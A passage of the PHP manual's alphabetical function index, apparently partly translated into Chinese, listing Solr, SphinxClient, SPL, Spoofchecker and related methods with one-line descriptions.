    • SolrDocument::key - Retrieves the current key
    • SolrDocument::merge - Merges source to the current SolrDocument
    • SolrDocument::next - Moves the internal pointer to the next field
    • SolrDocument::offsetExists - Checks if a particular field exists
    • SolrDocument::offsetGet - Retrieves a field
    • SolrDocument::offsetSet - Adds a field to the document
    • SolrDocument::offsetUnset - Removes a field
    • SolrDocument::reset - This is an alias to SolrDocument::clear()
    • SolrDocument::rewind - Resets the internal pointer to the beginning
    • SolrDocument::serialize - Used for custom serialization
    • SolrDocument::sort - Sorts the fields in the document
    • SolrDocument::toArray - Returns an array representation of the document
    • SolrDocument::unserialize - Custom serialization of SolrDocument objects
    • SolrDocument::valid - Checks if the current position internally is still valid
    • SolrDocument::__clone - Creates a copy of a SolrDocument object
    • SolrDocument::__construct - Constructor
    • SolrDocument::__destruct - Destructor
    • SolrDocument::__get - Access the field as a property
    • SolrDocument::__isset - Checks if a field exists
    • SolrDocument::__set - Adds another field to the document
    • SolrDocument::__unset - Removes a field from the document
    • SolrDocumentField::__construct - Constructor
    • SolrDocumentField::__destruct - Destructor
    • SolrException::getInternalInfo - Returns internal information where the Exception was thrown
    • SolrGenericResponse::__construct - Constructor
    • SolrGenericResponse::__destruct - Destructor
    • SolrIllegalArgumentException::getInternalInfo - Returns internal information where the Exception was thrown
    • SolrIllegalOperationException::getInternalInfo - Returns internal information where the Exception was thrown
    • SolrInputDocument::addChildDocument - Adds a child document for block indexing
    • SolrInputDocument::addChildDocuments - Adds an array of child documents
    • SolrInputDocument::addField - Adds a field to the document
    • SolrInputDocument::clear - Resets the input document
    • SolrInputDocument::deleteField - Removes a field from the document
    • SolrInputDocument::fieldExists - Checks if a field exists
    • SolrInputDocument::getBoost - Retrieves the current boost value for the document
    • SolrInputDocument::getChildDocuments - Returns an array of child documents (SolrInputDocument)
    • SolrInputDocument::getChildDocumentsCount - Returns the number of child documents
    • SolrInputDocument::getField - Retrieves a field by name
    • SolrInputDocument::getFieldBoost - Retrieves the boost value for a particular field
    • SolrInputDocument::getFieldCount - Returns the number of fields in the document
    • SolrInputDocument::getFieldNames - Returns an array containing all the fields in the document
    • SolrInputDocument::hasChildDocuments - Returns true if the document has any child documents
    • SolrInputDocument::merge - Merges one input document into another
    • SolrInputDocument::reset - This is an alias of SolrInputDocument::clear
    • SolrInputDocument::setBoost - Sets the boost value for this document
    • SolrInputDocument::setFieldBoost - Sets the index-time boost value for a field
    • SolrInputDocument::sort - Sorts the fields within the document
    • SolrInputDocument::toArray - Returns an array representation of the input document
    • SolrInputDocument::__clone - Creates a copy of a SolrDocument
    • SolrInputDocument::__construct - Constructor
    • SolrInputDocument::__destruct - Destructor
    • SolrModifiableParams::__construct - Constructor
    • SolrModifiableParams::__destruct - Destructor
    • SolrObject::getPropertyNames - Returns an array of all the names of the properties
    • SolrObject::offsetExists - Checks if the property exists
    • SolrObject::offsetGet - Used to retrieve a property
    • SolrObject::offsetSet - Sets the value for a property
    • SolrObject::offsetUnset - Unsets the value for the property
    • SolrObject::__construct - Creates Solr object
    • SolrObject::__destruct - Destructor
    • SolrParams::add - This is an alias for SolrParams::addParam
    • SolrParams::addParam - Adds a parameter to the object
    • SolrParams::get - This is an alias for SolrParams::getParam
    • SolrParams::getParam - Returns a parameter value
    • SolrParams::getParams - Returns an array of non URL-encoded parameters
    • SolrParams::getPreparedParams - Returns an array of URL-encoded parameters
    • SolrParams::serialize - Used for custom serialization
    • SolrParams::set - An alias of SolrParams::setParam
    • SolrParams::setParam - Sets the parameter to the specified value
    • SolrParams::toString - Returns all the name-value pair parameters in the object
    • SolrParams::unserialize - Used for custom serialization
    • SolrPingResponse::getResponse - Returns the response from the server
    • SolrPingResponse::__construct - Constructor
    • SolrPingResponse::__destruct - Destructor
    • SolrQuery::addExpandFilterQuery - Overrides main filter query, determines which documents to include in the main group
    • SolrQuery::addExpandSortField - Orders the documents within the expanded groups (expand.sort parameter)
    • SolrQuery::addFacetDateField - Maps to facet.date
    • SolrQuery::addFacetDateOther - Adds another facet.date.other parameter
    • SolrQuery::addFacetField - Adds another field to the facet
    • SolrQuery::addFacetQuery - Adds a facet query
    • SolrQuery::addField - Specifies which fields to return in the result
    • SolrQuery::addFilterQuery - Specifies a filter query
    • SolrQuery::addGroupField - Add a field to be used to group results
    • SolrQuery::addGroupFunction - Allows grouping results based on the unique values of a function query (group.func parameter)
    • SolrQuery::addGroupQuery - Allows grouping of documents that match the given query
    • SolrQuery::addGroupSortField - Add a group sort field (group.sort parameter)
    • SolrQuery::addHighlightField - Maps to hl.fl
    • SolrQuery::addMltField - Sets a field to use for similarity
    • SolrQuery::addMltQueryField - Maps to mlt.qf
    • SolrQuery::addSortField - Used to control how the results should be sorted
    • SolrQuery::addStatsFacet - Requests a return of sub results for values within the given facet
    • SolrQuery::addStatsField - Maps to stats.field parameter
    • SolrQuery::collapse - Collapses the result set to a single document per group
    • SolrQuery::getExpand - Returns true if group expanding is enabled
    • SolrQuery::getExpandFilterQueries - Returns the expand filter queries
    • SolrQuery::getExpandQuery - Returns the expand query expand.q parameter
    • SolrQuery::getExpandRows - Returns The number of rows to display in each group (expand.rows)
    • SolrQuery::getExpandSortFields - Returns an array of fields
    • SolrQuery::getFacet - Returns the value of the facet parameter
    • SolrQuery::getFacetDateEnd - Returns the value for the facet.date.end parameter
    • SolrQuery::getFacetDateFields - Returns all the facet.date fields
    • SolrQuery::getFacetDateGap - Returns the value of the facet.date.gap parameter
    • SolrQuery::getFacetDateHardEnd - Returns the value of the facet.date.hardend parameter
    • SolrQuery::getFacetDateOther - Returns the value for the facet.date.other parameter
    • SolrQuery::getFacetDateStart - Returns the lower bound for the first date range for all date faceting on this field
    • SolrQuery::getFacetFields - Returns all the facet fields
    • SolrQuery::getFacetLimit - Returns the maximum number of constraint counts that should be returned for the facet fields
    • SolrQuery::getFacetMethod - Returns the value of the facet.method parameter
    • SolrQuery::getFacetMinCount - Returns the minimum counts for facet fields should be included in the response
    • SolrQuery::getFacetMissing - Returns the current state of the facet.missing parameter
    • SolrQuery::getFacetOffset - Returns an offset into the list of constraints to be used for pagination
    • SolrQuery::getFacetPrefix - Returns the facet prefix
    • SolrQuery::getFacetQueries - Returns all the facet queries
    • SolrQuery::getFacetSort - Returns the facet sort type
    • SolrQuery::getFields - Returns the list of fields that will be returned in the response
    • SolrQuery::getFilterQueries - Returns an array of filter queries
    • SolrQuery::getGroup - Returns true if grouping is enabled
    • SolrQuery::getGroupCachePercent - Returns group cache percent value
    • SolrQuery::getGroupFacet - Returns the group.facet parameter value
    • SolrQuery::getGroupFields - Returns group fields (group.field parameter values)
    • SolrQuery::getGroupFormat - Returns the group.format value
    • SolrQuery::getGroupFunctions - Returns group functions (group.func parameter values)
    • SolrQuery::getGroupLimit - Returns the group.limit value
    • SolrQuery::getGroupMain - Returns the group.main value
    • SolrQuery::getGroupNGroups - Returns the group.ngroups value
    • SolrQuery::getGroupOffset - Returns the group.offset value
    • SolrQuery::getGroupQueries - Returns all the group.query parameter values
    • SolrQuery::getGroupSortFields - Returns the group.sort value
    • SolrQuery::getGroupTruncate - Returns the group.truncate value
    • SolrQuery::getHighlight - Returns the state of the hl parameter
    • SolrQuery::getHighlightAlternateField - Returns the highlight field to use as backup or default
    • SolrQuery::getHighlightFields - Returns all the fields that Solr should generate highlighted snippets for
    • SolrQuery::getHighlightFormatter - Returns the formatter for the highlighted output
    • SolrQuery::getHighlightFragmenter - Returns the text snippet generator for highlighted text
    • SolrQuery::getHighlightFragsize - Returns the number of characters of fragments to consider for highlighting
    • SolrQuery::getHighlightHighlightMultiTerm - Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
    • SolrQuery::getHighlightMaxAlternateFieldLength - Returns the maximum number of characters of the field to return
    • SolrQuery::getHighlightMaxAnalyzedChars - Returns the maximum number of characters into a document to look for suitable snippets
    • SolrQuery::getHighlightMergeContiguous - Returns whether or not the collapse contiguous fragments into a single fragment
    • SolrQuery::getHighlightRegexMaxAnalyzedChars - Returns the maximum number of characters from a field when using the regex fragmenter
    • SolrQuery::getHighlightRegexPattern - Returns the regular expression for fragmenting
    • SolrQuery::getHighlightRegexSlop - Returns the deviation factor from the ideal fragment size
    • SolrQuery::getHighlightRequireFieldMatch - Returns if a field will only be highlighted if the query matched in this particular field
    • SolrQuery::getHighlightSimplePost - Returns the text which appears after a highlighted term
    • SolrQuery::getHighlightSimplePre - Returns the text which appears before a highlighted term
    • SolrQuery::getHighlightSnippets - Returns the maximum number of highlighted snippets to generate per field
    • SolrQuery::getHighlightUsePhraseHighlighter - Returns the state of the hl.usePhraseHighlighter parameter
    • SolrQuery::getMlt - Returns whether or not MoreLikeThis results should be enabled
    • SolrQuery::getMltBoost - Returns whether or not the query will be boosted by the interesting term relevance
    • SolrQuery::getMltCount - Returns the number of similar documents to return for each result
    • SolrQuery::getMltFields - Returns all the fields to use for similarity
    • SolrQuery::getMltMaxNumQueryTerms - Returns the maximum number of query terms that will be included in any generated query
    • SolrQuery::getMltMaxNumTokens - Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
    • SolrQuery::getMltMaxWordLength - Returns the maximum word length above which words will be ignored
    • SolrQuery::getMltMinDocFrequency - Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
    • SolrQuery::getMltMinTermFrequency - Returns the frequency below which terms will be ignored in the source document
    • SolrQuery::getMltMinWordLength - Returns the minimum word length below which words will be ignored
    • SolrQuery::getMltQueryFields - Returns the query fields and their boosts
    • SolrQuery::getQuery - Returns the main query
    • SolrQuery::getRows - Returns the maximum number of documents
    • SolrQuery::getSortFields - Returns all the sort fields
    • SolrQuery::getStart - Returns the offset in the complete result set
    • SolrQuery::getStats - Returns whether or not stats is enabled
    • SolrQuery::getStatsFacets - Returns all the stats facets that were set
    • SolrQuery::getStatsFields - Returns all the statistics fields
    • SolrQuery::getTerms - Returns whether or not the TermsComponent is enabled
    • SolrQuery::getTermsField - Returns the field from which the terms are retrieved
    • SolrQuery::getTermsIncludeLowerBound - Returns whether or not to include the lower bound in the result set
    • SolrQuery::getTermsIncludeUpperBound - Returns whether or not to include the upper bound term in the result set
    • SolrQuery::getTermsLimit - Returns the maximum number of terms Solr should return
    • SolrQuery::getTermsLowerBound - Returns the term to start at
    • SolrQuery::getTermsMaxCount - Returns the maximum document frequency
    • SolrQuery::getTermsMinCount - Returns the minimum document frequency to return in order to be included
    • SolrQuery::getTermsPrefix - Returns the term prefix
    • SolrQuery::getTermsReturnRaw - Whether or not to return raw characters
    • SolrQuery::getTermsSort - Returns an integer indicating how terms are sorted
    • SolrQuery::getTermsUpperBound - Returns the term to stop at
    • SolrQuery::getTimeAllowed - Returns the time in milliseconds allowed for the query to finish
    • SolrQuery::removeExpandFilterQuery - Removes an expand filter query
    • SolrQuery::removeExpandSortField - Removes an expand sort field from the expand.sort parameter
    • SolrQuery::removeFacetDateField - Removes one of the facet date fields
    • SolrQuery::removeFacetDateOther - Removes one of the facet.date.other parameters
    • SolrQuery::removeFacetField - Removes one of the facet.date parameters
    • SolrQuery::removeFacetQuery - Removes one of the facet.query parameters
    • SolrQuery::removeField - Removes a field from the list of fields
    • SolrQuery::removeFilterQuery - Removes a filter query
    • SolrQuery::removeHighlightField - Removes one of the fields used for highlighting
    • SolrQuery::removeMltField - Removes one of the moreLikeThis fields
    • SolrQuery::removeMltQueryField - Removes one of the moreLikeThis query fields
    • SolrQuery::removeSortField - Removes one of the sort fields
    • SolrQuery::removeStatsFacet - Removes one of the stats.facet parameters
    • SolrQuery::removeStatsField - Removes one of the stats.field parameters
    • SolrQuery::setEchoHandler - Toggles the echoHandler parameter
    • SolrQuery::setEchoParams - Determines what kind of parameters to include in the response
    • SolrQuery::setExpand - Enables/Disables the Expand Component
    • SolrQuery::setExpandQuery - Sets the expand.q parameter
    • SolrQuery::setExpandRows - Sets the number of rows to display in each group (expand.rows). Server Default 5
    • SolrQuery::setExplainOther - Sets the explainOther common query parameter
    • SolrQuery::setFacet - Maps to the facet parameter. Enables or disables facetting
    • SolrQuery::setFacetDateEnd - Maps to facet.date.end
    • SolrQuery::setFacetDateGap - Maps to facet.date.gap
    • SolrQuery::setFacetDateHardEnd - Maps to facet.date.hardend
    • SolrQuery::setFacetDateStart - Maps to facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency - Sets the minimum document frequency used for determining term count
    • SolrQuery::setFacetLimit - Maps to facet.limit
    • SolrQuery::setFacetMethod - Specifies the type of algorithm to use when faceting a field
    • SolrQuery::setFacetMinCount - Maps to facet.mincount
    • SolrQuery::setFacetMissing - Maps to facet.missing
    • SolrQuery::setFacetOffset - Sets the offset into the list of constraints to allow for pagination
    • SolrQuery::setFacetPrefix - Specifies a string prefix with which to limits the terms on which to facet
    • SolrQuery::setFacetSort - Determines the ordering of the facet field constraints
    • SolrQuery::setGroup - Enable/Disable result grouping (group parameter)
    • SolrQuery::setGroupCachePercent - Enables caching for result grouping
    • SolrQuery::setGroupFacet - Sets group.facet parameter
    • SolrQuery::setGroupFormat - Sets the group format, result structure (group.format parameter)
    • SolrQuery::setGroupLimit - Specifies the number of results to return for each group. The server default value is 1
    • SolrQuery::setGroupMain - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
    • SolrQuery::setGroupNGroups - If true, Solr includes the number of groups that have matched the query in the results
    • SolrQuery::setGroupOffset - Sets the group.offset parameter
    • SolrQuery::setGroupTruncate - If true, facet counts are based on the most relevant document of each group matching the query
    • SolrQuery::setHighlight - Enables or disables highlighting
    • SolrQuery::setHighlightAlternateField - Specifies the backup field to use
    • SolrQuery::setHighlightFormatter - Specify a formatter for the highlight output
    • SolrQuery::setHighlightFragmenter - Sets a text snippet generator for highlighted text
    • SolrQuery::setHighlightFragsize - The size of fragments to consider for highlighting
    • SolrQuery::setHighlightHighlightMultiTerm - Use SpanScorer to highlight phrase terms
    • SolrQuery::setHighlightMaxAlternateFieldLength - Sets the maximum number of characters of the field to return
    • SolrQuery::setHighlightMaxAnalyzedChars - Specifies the number of characters into a document to look for suitable snippets
    • SolrQuery::setHighlightMergeContiguous - Whether or not to collapse contiguous fragments into a single fragment
    • SolrQuery::setHighlightRegexMaxAnalyzedChars - Specify the maximum number of characters to analyze
    • SolrQuery::setHighlightRegexPattern - Specify the regular expression for fragmenting
    • SolrQuery::setHighlightRegexSlop - Sets the factor by which the regex fragmenter can stray from the ideal fragment size
    • SolrQuery::setHighlightRequireFieldMatch - Require field matching during highlighting
    • SolrQuery::setHighlightSimplePost - Sets the text which appears after a highlighted term
    • SolrQuery::setHighlightSimplePre - Sets the text which appears before a highlighted term
    • SolrQuery::setHighlightSnippets - Sets the maximum number of highlighted snippets to generate per field
    • SolrQuery::setHighlightUsePhraseHighlighter - Whether to highlight phrase terms only when they appear within the query phrase
    • SolrQuery::setMlt - Enables or disables moreLikeThis
    • SolrQuery::setMltBoost - Set if the query will be boosted by the interesting term relevance
    • SolrQuery::setMltCount - Set the number of similar documents to return for each result
    • SolrQuery::setMltMaxNumQueryTerms - Sets the maximum number of query terms included
    • SolrQuery::setMltMaxNumTokens - Specifies the maximum number of tokens to parse
    • SolrQuery::setMltMaxWordLength - Sets the maximum word length
    • SolrQuery::setMltMinDocFrequency - Sets the mltMinDoc frequency
    • SolrQuery::setMltMinTermFrequency - Sets the frequency below which terms will be ignored in the source docs
    • SolrQuery::setMltMinWordLength - Sets the minimum word length
    • SolrQuery::setOmitHeader - Exclude the header from the returned results
    • SolrQuery::setQuery - Sets the search query
    • SolrQuery::setRows - Specifies the maximum number of rows to return in the result
    • SolrQuery::setShowDebugInfo - Flag to show debug information
    • SolrQuery::setStart - Specifies the number of rows to skip
    • SolrQuery::setStats - Enables or disables the Stats component
    • SolrQuery::setTerms - Enables or disables the TermsComponent
    • SolrQuery::setTermsField - Sets the name of the field to get the Terms from
    • SolrQuery::setTermsIncludeLowerBound - Include the lower bound term in the result set
    • SolrQuery::setTermsIncludeUpperBound - Include the upper bound term in the result set
    • SolrQuery::setTermsLimit - Sets the maximum number of terms to return
    • SolrQuery::setTermsLowerBound - Specifies the Term to start from
    • SolrQuery::setTermsMaxCount - Sets the maximum document frequency
    • SolrQuery::setTermsMinCount - Sets the minimum document frequency
    • SolrQuery::setTermsPrefix - Restrict matches to terms that start with the prefix
    • SolrQuery::setTermsReturnRaw - Return the raw characters of the indexed term
    • SolrQuery::setTermsSort - Specifies how to sort the returned terms
    • SolrQuery::setTermsUpperBound - Sets the term to stop at
    • SolrQuery::setTimeAllowed - The time allowed for search to finish
    • SolrQuery::__construct - Constructor
    • SolrQuery::__destruct - Destructor
    • SolrQueryResponse::__construct - Constructor
    • SolrQueryResponse::__destruct - Destructor
    • SolrResponse::getDigestedResponse - Returns the XML response as serialized PHP data
    • SolrResponse::getHttpStatus - Returns the HTTP status of the response
    • SolrResponse::getHttpStatusMessage - Returns more details on the HTTP status
    • SolrResponse::getRawRequest - Returns the raw request sent to the Solr server
    • SolrResponse::getRawRequestHeaders - Returns the raw request headers sent to the Solr server
    • SolrResponse::getRawResponse - Returns the raw response from the server
    • SolrResponse::getRawResponseHeaders - Returns the raw response headers from the server
    • SolrResponse::getRequestUrl - Returns the full URL the request was sent to
    • SolrResponse::getResponse - Returns a SolrObject representing the XML response from the server
    • SolrResponse::setParseMode - Sets the parse mode
    • SolrResponse::success - Was the request a success
    • SolrServerException::getInternalInfo - Returns internal information where the Exception was thrown
    • SolrUpdateResponse::__construct - Constructor
    • SolrUpdateResponse::__destruct - Destructor
    • SolrUtils::digestXmlResponse - Parses an response XML string into a SolrObject
    • SolrUtils::escapeQueryChars - Escapes a lucene query string
    • SolrUtils::getSolrVersion - Returns the current version of the Solr extension
    • SolrUtils::queryPhrase - Prepares a phrase from an unescaped lucene string
    • solr_get_version - 返回当前Solr扩展的版本
    • sort - 对数组排序
    • soundex - Calculate the soundex key of a string
    • SphinxClient::addQuery - Add query to multi-query batch
    • SphinxClient::buildExcerpts - Build text snippets
    • SphinxClient::buildKeywords - Extract keywords from query
    • SphinxClient::close - 关闭先前打开的持久连接
    • SphinxClient::escapeString - Escape special characters
    • SphinxClient::getLastError - Get the last error message
    • SphinxClient::getLastWarning - Get the last warning
    • SphinxClient::open - 建立到搜索服务端的持久连接
    • SphinxClient::query - 执行搜索查询
    • SphinxClient::resetFilters - Clear all filters
    • SphinxClient::resetGroupBy - Clear all group-by settings
    • SphinxClient::runQueries - Run a batch of search queries
    • SphinxClient::setArrayResult - 控制搜索结果集的返回格式
    • SphinxClient::setConnectTimeout - Set connection timeout
    • SphinxClient::setFieldWeights - Set field weights
    • SphinxClient::setFilter - 增加整数值过滤器
    • SphinxClient::setFilterFloatRange - Add new float range filter
    • SphinxClient::setFilterRange - Add new integer range filter
    • SphinxClient::setGeoAnchor - Set anchor point for a geosphere distance calculations
    • SphinxClient::setGroupBy - Set grouping attribute
    • SphinxClient::setGroupDistinct - Set attribute name for per-group distinct values count calculations
    • SphinxClient::setIDRange - Set a range of accepted document IDs
    • SphinxClient::setIndexWeights - Set per-index weights
    • SphinxClient::setLimits - 设置返回结果集偏移量和数目
    • SphinxClient::setMatchMode - 设置全文查询的匹配模式
    • SphinxClient::setMaxQueryTime - Set maximum query time
    • SphinxClient::setOverride - Sets temporary per-document attribute value overrides
    • SphinxClient::setRankingMode - Set ranking mode
    • SphinxClient::setRetries - Set retry count and delay
    • SphinxClient::setSelect - Set select clause
    • SphinxClient::setServer - 设置searchd的主机名和TCP端口
    • SphinxClient::setSortMode - Set matches sorting mode
    • SphinxClient::status - Queries searchd status
    • SphinxClient::updateAttributes - Update document attributes
    • SphinxClient::__construct - Create a new SphinxClient object
    • SplDoublyLinkedList::add - Add/insert a new value at the specified index
    • SplDoublyLinkedList::bottom - Peeks at the node from the beginning of the doubly linked list
    • SplDoublyLinkedList::count - Counts the number of elements in the doubly linked list
    • SplDoublyLinkedList::current - Return current array entry
    • SplDoublyLinkedList::getIteratorMode - Returns the mode of iteration
    • SplDoublyLinkedList::isEmpty - Checks whether the doubly linked list is empty
    • SplDoublyLinkedList::key - Return current node index
    • SplDoublyLinkedList::next - Move to next entry
    • SplDoublyLinkedList::offsetExists - Returns whether the requested $index exists
    • SplDoublyLinkedList::offsetGet - Returns the value at the specified $index
    • SplDoublyLinkedList::offsetSet - Sets the value at the specified $index to $newval
    • SplDoublyLinkedList::offsetUnset - Unsets the value at the specified $index
    • SplDoublyLinkedList::pop - Pops a node from the end of the doubly linked list
    • SplDoublyLinkedList::prev - Move to previous entry
    • SplDoublyLinkedList::push - Pushes an element at the end of the doubly linked list
    • SplDoublyLinkedList::rewind - Rewind iterator back to the start
    • SplDoublyLinkedList::serialize - Serializes the storage
    • SplDoublyLinkedList::setIteratorMode - Sets the mode of iteration
    • SplDoublyLinkedList::shift - Shifts a node from the beginning of the doubly linked list
    • SplDoublyLinkedList::top - Peeks at the node from the end of the doubly linked list
    • SplDoublyLinkedList::unserialize - Unserializes the storage
    • SplDoublyLinkedList::unshift - Prepends the doubly linked list with an element
    • SplDoublyLinkedList::valid - Check whether the doubly linked list contains more nodes
    • SplDoublyLinkedList::__construct - Constructs a new doubly linked list
    • SplEnum::getConstList - Returns all consts (possible values) as an array
    • SplFileInfo::getATime - Gets last access time of the file
    • SplFileInfo::getBasename - Gets the base name of the file
    • SplFileInfo::getCTime - 获取文件 inode 修改时间
    • SplFileInfo::getExtension - Gets the file extension
    • SplFileInfo::getFileInfo - Gets an SplFileInfo object for the file
    • SplFileInfo::getFilename - Gets the filename
    • SplFileInfo::getGroup - Gets the file group
    • SplFileInfo::getInode - Gets the inode for the file
    • SplFileInfo::getLinkTarget - Gets the target of a link
    • SplFileInfo::getMTime - Gets the last modified time
    • SplFileInfo::getOwner - Gets the owner of the file
    • SplFileInfo::getPath - Gets the path without filename
    • SplFileInfo::getPathInfo - Gets an SplFileInfo object for the path
    • SplFileInfo::getPathname - Gets the path to the file
    • SplFileInfo::getPerms - Gets file permissions
    • SplFileInfo::getRealPath - Gets absolute path to file
    • SplFileInfo::getSize - Gets file size
    • SplFileInfo::getType - Gets file type
    • SplFileInfo::isDir - Tells if the file is a directory
    • SplFileInfo::isExecutable - Tells if the file is executable
    • SplFileInfo::isFile - Tells if the object references a regular file
    • SplFileInfo::isLink - Tells if the file is a link
    • SplFileInfo::isReadable - Tells if file is readable
    • SplFileInfo::isWritable - Tells if the entry is writable
    • SplFileInfo::openFile - Gets an SplFileObject object for the file
    • SplFileInfo::setFileClass - Sets the class used with SplFileInfo::openFile
    • SplFileInfo::setInfoClass - Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo
    • SplFileInfo::__construct - Construct a new SplFileInfo object
    • SplFileInfo::__toString - Returns the path to the file as a string
    • SplFileObject::current - Retrieve current line of file
    • SplFileObject::eof - Reached end of file
    • SplFileObject::fflush - Flushes the output to the file
    • SplFileObject::fgetc - Gets character from file
    • SplFileObject::fgetcsv - Gets line from file and parse as CSV fields
    • SplFileObject::fgets - Gets line from file
    • SplFileObject::fgetss - Gets line from file and strip HTML tags
    • SplFileObject::flock - Portable file locking
    • SplFileObject::fpassthru - Output all remaining data on a file pointer
    • SplFileObject::fputcsv - Write a field array as a CSV line
    • SplFileObject::fread - Read from file
    • SplFileObject::fscanf - Parses input from file according to a format
    • SplFileObject::fseek - Seek to a position
    • SplFileObject::fstat - Gets information about the file
    • SplFileObject::ftell - Return current file position
    • SplFileObject::ftruncate - Truncates the file to a given length
    • SplFileObject::fwrite - Write to file
    • SplFileObject::getChildren - No purpose
    • SplFileObject::getCsvControl - Get the delimiter, enclosure and escape character for CSV
    • SplFileObject::getCurrentLine - Alias of SplFileObject::fgets
    • SplFileObject::getFlags - Gets flags for the SplFileObject
    • SplFileObject::getMaxLineLen - Get maximum line length
    • SplFileObject::hasChildren - SplFileObject does not have children
    • SplFileObject::key - Get line number
    • SplFileObject::next - Read next line
    • SplFileObject::rewind - Rewind the file to the first line
    • SplFileObject::seek - Seek to specified line
    • SplFileObject::setCsvControl - Set the delimiter, enclosure and escape character for CSV
    • SplFileObject::setFlags - Sets flags for the SplFileObject
    • SplFileObject::setMaxLineLen - Set maximum line length
    • SplFileObject::valid - Not at EOF
    • SplFileObject::__construct - Construct a new file object
    • SplFileObject::__toString - Alias of SplFileObject::fgets
    • SplFixedArray::count - Returns the size of the array
    • SplFixedArray::current - Return current array entry
    • SplFixedArray::fromArray - Import a PHP array in a SplFixedArray instance
    • SplFixedArray::getSize - Gets the size of the array
    • SplFixedArray::key - Return current array index
    • SplFixedArray::next - Move to next entry
    • SplFixedArray::offsetExists - Returns whether the requested index exists
    • SplFixedArray::offsetGet - Returns the value at the specified index
    • SplFixedArray::offsetSet - Sets a new value at a specified index
    • SplFixedArray::offsetUnset - Unsets the value at the specified $index
    • SplFixedArray::rewind - Rewind iterator back to the start
    • SplFixedArray::setSize - Change the size of an array
    • SplFixedArray::toArray - Returns a PHP array from the fixed array
    • SplFixedArray::valid - Check whether the array contains more elements
    • SplFixedArray::__construct - Constructs a new fixed array
    • SplFixedArray::__wakeup - Reinitialises the array after being unserialised
    • SplHeap::compare - Compare elements in order to place them correctly in the heap while sifting up
    • SplHeap::count - Counts the number of elements in the heap
    • SplHeap::current - Return current node pointed by the iterator
    • SplHeap::extract - Extracts a node from top of the heap and sift up
    • SplHeap::insert - Inserts an element in the heap by sifting it up
    • SplHeap::isCorrupted - Tells if the heap is in a corrupted state
    • SplHeap::isEmpty - Checks whether the heap is empty
    • SplHeap::key - Return current node index
    • SplHeap::next - Move to the next node
    • SplHeap::recoverFromCorruption - Recover from the corrupted state and allow further actions on the heap
    • SplHeap::rewind - Rewind iterator back to the start (no-op)
    • SplHeap::top - Peeks at the node from the top of the heap
    • SplHeap::valid - Check whether the heap contains more nodes
    • SplHeap::__construct - Constructs a new empty heap
    • split - 用正则表达式将字符串分割到数组中
    • spliti - 用正则表达式不区分大小写将字符串分割到数组中
    • SplMaxHeap::compare - Compare elements in order to place them correctly in the heap while sifting up
    • SplMinHeap::compare - Compare elements in order to place them correctly in the heap while sifting up
    • SplObjectStorage::addAll - Adds all objects from another storage
    • SplObjectStorage::attach - Adds an object in the storage
    • SplObjectStorage::contains - Checks if the storage contains a specific object
    • SplObjectStorage::count - Returns the number of objects in the storage
    • SplObjectStorage::current - Returns the current storage entry
    • SplObjectStorage::detach - Removes an object from the storage
    • SplObjectStorage::getHash - Calculate a unique identifier for the contained objects
    • SplObjectStorage::getInfo - Returns the data associated with the current iterator entry
    • SplObjectStorage::key - Returns the index at which the iterator currently is
    • SplObjectStorage::next - Move to the next entry
    • SplObjectStorage::offsetExists - Checks whether an object exists in the storage
    • SplObjectStorage::offsetGet - Returns the data associated with an object
    • SplObjectStorage::offsetSet - Associates data to an object in the storage
    • SplObjectStorage::offsetUnset - Removes an object from the storage
    • SplObjectStorage::removeAll - Removes objects contained in another storage from the current storage
    • SplObjectStorage::removeAllExcept - Removes all objects except for those contained in another storage from the current storage
    • SplObjectStorage::rewind - Rewind the iterator to the first storage element
    • SplObjectStorage::serialize - Serializes the storage
    • SplObjectStorage::setInfo - Sets the data associated with the current iterator entry
    • SplObjectStorage::unserialize - Unserializes a storage from its string representation
    • SplObjectStorage::valid - Returns if the current iterator entry is valid
    • SplObserver::update - Receive update from subject
    • SplPriorityQueue::compare - Compare priorities in order to place elements correctly in the heap while sifting up
    • SplPriorityQueue::count - Counts the number of elements in the queue
    • SplPriorityQueue::current - Return current node pointed by the iterator
    • SplPriorityQueue::extract - Extracts a node from top of the heap and sift up
    • SplPriorityQueue::getExtractFlags - Get the flags of extraction
    • SplPriorityQueue::insert - Inserts an element in the queue by sifting it up
    • SplPriorityQueue::isCorrupted - Tells if the priority queue is in a corrupted state
    • SplPriorityQueue::isEmpty - Checks whether the queue is empty
    • SplPriorityQueue::key - Return current node index
    • SplPriorityQueue::next - Move to the next node
    • SplPriorityQueue::recoverFromCorruption - Recover from the corrupted state and allow further actions on the queue
    • SplPriorityQueue::rewind - Rewind iterator back to the start (no-op)
    • SplPriorityQueue::setExtractFlags - Sets the mode of extraction
    • SplPriorityQueue::top - Peeks at the node from the top of the queue
    • SplPriorityQueue::valid - Check whether the queue contains more nodes
    • SplPriorityQueue::__construct - Constructs a new empty queue
    • SplQueue::dequeue - Dequeues a node from the queue
    • SplQueue::enqueue - Adds an element to the queue
    • SplQueue::setIteratorMode - Sets the mode of iteration
    • SplQueue::__construct - Constructs a new queue implemented using a doubly linked list
    • SplStack::setIteratorMode - Sets the mode of iteration
    • SplStack::__construct - Constructs a new stack implemented using a doubly linked list
    • SplSubject::attach - Attach an SplObserver
    • SplSubject::detach - Detach an observer
    • SplSubject::notify - Notify an observer
    • SplTempFileObject::__construct - Construct a new temporary file object
    • SplType::__construct - Creates a new value of some type
    • spl_autoload - __autoload()函数的默认实现
    • spl_autoload_call - 尝试调用所有已注册的__autoload()函数来装载请求类
    • spl_autoload_extensions - 注册并返回spl_autoload函数使用的默认文件扩展名。
    • spl_autoload_functions - 返回所有已注册的__autoload()函数。
    • spl_autoload_register - 注册给定的函数作为 __autoload 的实现
    • spl_autoload_unregister - 注销已注册的__autoload()函数
    • spl_classes - 返回所有可用的SPL类
    • spl_object_hash - 返回指定对象的hash id
    • spl_object_id - Return the integer object handle for given object
    • Spoofchecker::areConfusable - Checks if given strings can be confused
    • Spoofchecker::isSuspicious - Checks if a given text contains any suspicious characters
    • Spoofchecker::setAllowedLocales - Locales to use when running checks
    • Spoofchecker::setChecks - Set the checks to run
    • Spoofchecker::__construct - Constructor
    • sprintf - Return a formatted string
    • SQL acceptable by 4D - PDO and SQL 4D
    • SQLite3::busyTimeout - Sets the busy connection handler
